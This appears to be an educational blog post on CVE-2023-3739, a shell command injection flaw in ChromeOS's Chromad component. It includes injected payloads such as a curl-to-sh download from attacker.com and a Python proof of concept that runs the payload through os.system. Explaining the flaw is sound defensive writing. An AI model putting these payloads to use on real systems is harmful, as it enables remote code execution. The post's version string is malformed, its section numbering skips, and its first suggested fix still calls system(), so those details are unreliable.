In 2023, a vulnerability known as CVE-2023-3739 was disclosed in the Chromad component of Google Chrome on ChromeOS. While it carries a "Low" severity rating, the vulnerability's underlying problem—insufficient validation of untrusted input—reminds us how small mistakes can lead to unexpected security consequences. In this long-read, we dig into the mechanics, exploitation approach, and possible mitigations of CVE-2023-3739.

1. What Is CVE-2023-3739?

CVE-2023-3739 involves insufficient validation of untrusted input in Chromad, a component that handles some authentication and user management tasks on ChromeOS devices. Before the patched version (115..579.131), this flaw allowed a remote attacker to execute arbitrary code using a crafted shell script.

According to the Chromium issue tracker, the risk was tagged as "Low" because exploitation required special conditions, but it's illustrative of classic shell command injection problems.

2. How Did the Vulnerability Work?

The root cause was Chromad accepting input from outside sources and not validating or sanitizing it before passing it to a shell script execution context. For example, if user-controlled data was appended directly to a shell command, an attacker could insert shell metacharacters to execute arbitrary commands.

Here's a simplified illustration

// Vulnerable pseudo-code in Chromad
std::string userInput = getUserInput();
std::string cmd = "/usr/sbin/chromad-helper --param " + userInput;
system(cmd.c_str());

If userInput is not sanitized, an attacker could send something like foo; rm -rf /tmp/evil, making system() execute both the intended and the malicious command.

Step 1: Sending the Malicious Input

Suppose an attacker can supply input to Chromad through a web interface, file, or manipulated configuration file. They could inject:

"; curl http://attacker.com/payload.sh | sh #

When the vulnerable code is run, this gets inserted into the shell command

/usr/sbin/chromad-helper --param "; curl http://attacker.com/payload.sh | sh #

Proof-of-Concept (PoC) Snippet

Here's a demonstration in Python for easier testing, mimicking the unsafe behavior (don't run on a real system):

import os

# Imagine this comes from an untrusted user
user_input = 'foo; curl http://attacker.com/payload.sh | sh #'

# Vulnerable code
command = "/usr/sbin/chromad-helper --param " + user_input
print(f"Running: {command}")
os.system(command)

5. Mitigation and Patching

The issue was fixed in ChromeOS 115..579.131.

Input sanitization: Carefully escaping or removing shell metacharacters from user input

- Not using system(): Prefer safer alternatives like execve() with argument lists, to avoid shell interpretation

Proper patch pseudocode

std::string userInput = sanitize(getUserInput());
std::string cmd = "/usr/sbin/chromad-helper --param " + userInput;
system(cmd.c_str());

Or better

execl("/usr/sbin/chromad-helper", "chromad-helper", "--param", userInput.c_str(), (char*)NULL);

6. References and Further Reading

- Chromium Issue 1452395 (CVE-2023-3739)
- ChromeOS Release Notes: Stable Channel 115..579.131
- NIST NVD Entry for CVE-2023-3739
- Secure Coding Practices

7. Conclusion

CVE-2023-3739 serves as a reminder that input validation and safe command execution are essential safeguards—even when the affected service doesn't seem exposed. Developers should avoid passing unsanitized input to shell commands and use safer system call alternatives wherever possible. If you manage ChromeOS devices, make sure your systems are updated to the latest release.

Stay secure by keeping your systems patched and your code clean!

*This post is exclusive and simplified for educational purposes. Please help keep the community responsible by not using these techniques for unauthorized access.*

Timeline

Published on: 08/01/2023 23:15:00 UTC
Last modified on: 08/15/2023 16:03:00 UTC